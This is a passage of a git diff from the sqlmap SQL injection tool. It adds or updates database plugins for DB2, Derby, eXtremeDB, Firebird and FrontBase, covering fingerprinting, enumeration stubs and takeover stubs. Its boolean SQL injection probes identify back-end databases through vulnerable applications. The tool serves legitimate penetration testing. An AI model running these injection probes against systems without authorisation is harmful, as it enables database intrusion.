DBMS.DB2 + logger.warning(warnMsg) + return False + + version = self._versionCheck() if version: Backend.setVersion(version) setDbms("%s %s" % (DBMS.DB2, Backend.getVersion())) + else: + setDbms(DBMS.DB2) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index c0aacd60fd8..7ba5c8b9f38 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,24 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True """ def escaper(value): - return "||".join("CHR(%d)" % ord(_) for _ in value) + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index ca204b03495..7c19fd8799c 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/__init__.py b/plugins/dbms/derby/__init__.py new file mode 100644 index 00000000000..2b4f3104e87 --- /dev/null +++ b/plugins/dbms/derby/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import DERBY_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.derby.enumeration import Enumeration +from plugins.dbms.derby.filesystem import Filesystem +from plugins.dbms.derby.fingerprint import Fingerprint +from plugins.dbms.derby.syntax import Syntax +from plugins.dbms.derby.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class DerbyMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Apache Derby methods + """ + + def __init__(self): + self.excludeDbsList = DERBY_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.DERBY] = Syntax.escape diff --git a/plugins/dbms/derby/connector.py b/plugins/dbms/derby/connector.py new file mode 100644 index 00000000000..7be45f7412b --- /dev/null +++ b/plugins/dbms/derby/connector.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import drda +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/nakagami/pydrda/ + User guide: https://github.com/nakagami/pydrda/blob/master/README.rst + API: https://www.python.org/dev/peps/pep-0249/ + License: MIT + """ + + def connect(self): + self.initConnection() + + try: + self.connector = drda.connect(host=self.hostname, database=self.db, port=self.port) + except drda.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except drda.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (drda.OperationalError, drda.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except drda.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + try: + self.connector.commit() + except drda.OperationalError: + pass + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/derby/enumeration.py b/plugins/dbms/derby/enumeration.py new file mode 100644 index 00000000000..286d20b6c93 --- /dev/null +++ b/plugins/dbms/derby/enumeration.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import singleTimeWarnMessage +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Apache Derby it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on Apache Derby it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Apache Derby it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Apache Derby it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Apache Derby it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getBanner(self): + warnMsg = "on Apache Derby it is not possible to enumerate the banner" + singleTimeWarnMessage(warnMsg) diff --git a/plugins/dbms/derby/filesystem.py b/plugins/dbms/derby/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/derby/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py new file mode 100644 index 00000000000..76d67e89605 --- /dev/null +++ b/plugins/dbms/derby/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import DERBY_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.DERBY) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.DERBY + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(DERBY_ALIASES): + setDbms(DBMS.DERBY) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.DERBY + logger.info(infoMsg) + + result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 OFFSET 0 ROWS FETCH FIRST 1 ROW ONLY)") + + if result: + infoMsg = "confirming %s" % DBMS.DERBY + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY + logger.warning(warnMsg) + + return False + + setDbms(DBMS.DERBY) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/derby/syntax.py b/plugins/dbms/derby/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/derby/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/derby/takeover.py b/plugins/dbms/derby/takeover.py new file mode 100644 index 00000000000..c4c4ea098ce --- /dev/null +++ b/plugins/dbms/derby/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Apache Derby it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Apache Derby it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Apache Derby it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Apache Derby it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/extremedb/__init__.py b/plugins/dbms/extremedb/__init__.py new file mode 100644 index 00000000000..74072270325 --- /dev/null +++ b/plugins/dbms/extremedb/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import EXTREMEDB_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.extremedb.enumeration import Enumeration +from plugins.dbms.extremedb.filesystem import Filesystem +from plugins.dbms.extremedb.fingerprint import Fingerprint +from plugins.dbms.extremedb.syntax import Syntax +from plugins.dbms.extremedb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class ExtremeDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines eXtremeDB methods + """ + + def __init__(self): + self.excludeDbsList = EXTREMEDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.EXTREMEDB] = Syntax.escape diff --git a/plugins/dbms/extremedb/connector.py b/plugins/dbms/extremedb/connector.py new file mode 100644 index 00000000000..3c0083ad8cb --- /dev/null +++ b/plugins/dbms/extremedb/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on eXtremeDB it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/extremedb/enumeration.py b/plugins/dbms/extremedb/enumeration.py new file mode 100644 index 00000000000..c820b73e55a --- /dev/null +++ b/plugins/dbms/extremedb/enumeration.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on eXtremeDB it is not possible to get the banner" + logger.warning(warnMsg) + + return None + + def getCurrentUser(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the current user" + logger.warning(warnMsg) + + def getCurrentDb(self): + warnMsg = "on eXtremeDB it is not possible to get name of the current database" + logger.warning(warnMsg) + + def isDba(self, user=None): + warnMsg = "on eXtremeDB it is not possible to test if current user is DBA" + logger.warning(warnMsg) + + def getUsers(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on eXtremeDB it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getDbs(self): + warnMsg = "on eXtremeDB it is not possible to enumerate databases (use only '--tables')" + logger.warning(warnMsg) + + return [] + + def searchDb(self): + warnMsg = "on eXtremeDB it is not possible to search databases" + logger.warning(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on eXtremeDB it is not possible to search tables" + logger.warning(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on eXtremeDB it is not possible to search columns" + logger.warning(warnMsg) + + return [] + + def search(self): + warnMsg = "on eXtremeDB search option is not available" + logger.warning(warnMsg) + + def getHostname(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the hostname" + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/extremedb/filesystem.py b/plugins/dbms/extremedb/filesystem.py new file mode 100644 index 00000000000..09a02ac9ec4 --- /dev/null +++ b/plugins/dbms/extremedb/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on eXtremeDB it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on eXtremeDB it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/extremedb/fingerprint.py b/plugins/dbms/extremedb/fingerprint.py new file mode 100644 index 00000000000..99e3737735b --- /dev/null +++ b/plugins/dbms/extremedb/fingerprint.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import EXTREMEDB_ALIASES +from lib.core.settings import METADB_SUFFIX +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.EXTREMEDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.EXTREMEDB + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(EXTREMEDB_ALIASES): + setDbms(DBMS.EXTREMEDB) + return True + + infoMsg = "testing %s" % DBMS.EXTREMEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("signature(NULL)=usignature(NULL)") + + if result: + infoMsg = "confirming %s" % DBMS.EXTREMEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("hashcode(NULL)>=0") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB + logger.warning(warnMsg) + + return False + + setDbms(DBMS.EXTREMEDB) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB + logger.warning(warnMsg) + + return False + + def forceDbmsEnum(self): + conf.db = ("%s%s" % (DBMS.EXTREMEDB, METADB_SUFFIX)).replace(' ', '_') diff --git a/plugins/dbms/extremedb/syntax.py b/plugins/dbms/extremedb/syntax.py new file mode 100644 index 00000000000..17a0a02c257 --- /dev/null +++ b/plugins/dbms/extremedb/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/extremedb/takeover.py b/plugins/dbms/extremedb/takeover.py new file mode 100644 index 00000000000..fa0f6395c4f --- /dev/null +++ b/plugins/dbms/extremedb/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on eXtremeDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on eXtremeDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on eXtremeDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on eXtremeDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index f35a4070ecd..08b0f1e79bf 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -23,11 +23,7 @@ class FirebirdMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, T def __init__(self): self.excludeDbsList = FIREBIRD_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.FIREBIRD] = Syntax.escape diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index 2b5e378e318..ac00ce03173 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -27,9 +27,6 @@ class Connector(GenericConnector): License: BSD """ - def __init__(self): - GenericConnector.__init__(self) - # sample usage: # ./sqlmap.py -d "firebird://sysdba:testpass@/opt/firebird/testdb.fdb" # ./sqlmap.py -d "firebird://sysdba:testpass@127.0.0.1:3050//opt/firebird/testdb.fdb" diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 406347a5e31..2e911310b1b 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,33 +9,30 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getDbs(self): warnMsg = "on Firebird it is not possible to enumerate databases (use only '--tables')" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Firebird it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def searchDb(self): warnMsg = "on Firebird it is not possible to search databases" - logger.warn(warnMsg) - - return [] - - def searchColumn(self): - warnMsg = "on Firebird it is not possible to search columns" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getHostname(self): warnMsg = "on Firebird it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Firebird it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index 2ccf0cb8c79..949e3191976 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,13 +9,10 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on Firebird it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Firebird it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index 40ac7580cec..db0bbc07a56 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,8 +9,10 @@ from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import getUnicode from lib.core.common import randomRange +from lib.core.common import randomStr +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -52,11 +54,12 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - if re.search(r"-log$", kb.data.banner): - banVer += ", logging enabled" + if banVer: + if re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -72,13 +75,14 @@ def _sysTablesCheck(self): ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), - # TODO: add test for Firebird 2.5 + ("2.5", ("'%s' SIMILAR TO '%s'",)), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html + ("3.0", ("FALSE IS FALSE",)), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf ) for i in xrange(len(table)): version, checks = table[i] failed = False - check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100))) + check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100))).replace("%s", getUnicode(randomStr())) result = inject.checkBooleanExpression(check) if result: @@ -122,7 +126,7 @@ def checkDbms(self): if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD - logger.warn(warnMsg) + logger.warning(warnMsg) return False @@ -142,7 +146,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index 7c91e79cf6f..a430debce7f 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,33 +1,31 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import isDBMSVersionAtLeast +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ >>> from lib.core.common import Backend >>> Backend.setVersion('2.0') ['2.0'] - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - "SELECT 'abcdefgh' FROM foobar" + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT 'abcdefgh' FROM foobar" + True >>> Backend.setVersion('2.1') ['2.1'] - >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") - 'SELECT ASCII_CHAR(97)||ASCII_CHAR(98)||ASCII_CHAR(99)||ASCII_CHAR(100)||ASCII_CHAR(101)||ASCII_CHAR(102)||ASCII_CHAR(103)||ASCII_CHAR(104) FROM foobar' + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT ASCII_CHAR(97)||ASCII_CHAR(98)||ASCII_CHAR(99)||ASCII_CHAR(100)||ASCII_CHAR(101)||ASCII_CHAR(102)||ASCII_CHAR(103)||ASCII_CHAR(104) FROM foobar" + True """ def escaper(value): - return "||".join("ASCII_CHAR(%d)" % ord(_) for _ in value) + return "||".join("ASCII_CHAR(%d)" % _ for _ in getOrds(value)) retVal = expression diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index 9864414702e..1fb4432d443 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on Firebird it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/frontbase/__init__.py b/plugins/dbms/frontbase/__init__.py new file mode 100644 index 00000000000..5d148c15aaf --- /dev/null +++ b/plugins/dbms/frontbase/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import FRONTBASE_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.frontbase.enumeration import Enumeration +from plugins.dbms.frontbase.filesystem import Filesystem +from plugins.dbms.frontbase.fingerprint import Fingerprint +from plugins.dbms.frontbase.syntax import Syntax +from plugins.dbms.frontbase.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class FrontBaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines FrontBase methods + """ + + def __init__(self): + self.excludeDbsList = FRONTBASE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.FRONTBASE] = Syntax.escape diff --git a/plugins/dbms/frontbase/connector.py b/plugins/dbms/frontbase/connector.py new file mode 100644 index 00000000000..2f69bfc8af3 --- /dev/null +++ b/plugins/dbms/frontbase/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on FrontBase it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git 